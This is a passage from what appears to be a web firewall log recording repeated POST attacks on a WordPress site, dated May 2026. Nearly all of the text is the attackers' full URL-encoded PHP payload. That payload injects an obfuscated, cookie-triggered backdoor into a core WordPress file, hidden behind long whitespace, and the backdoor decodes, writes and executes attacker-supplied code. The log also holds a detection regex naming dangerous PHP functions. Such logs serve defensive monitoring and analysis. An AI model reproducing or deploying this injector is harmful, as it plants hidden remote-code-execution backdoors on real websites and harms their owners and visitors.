%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nXN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:45","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nMA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:47","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nwG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:49","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%2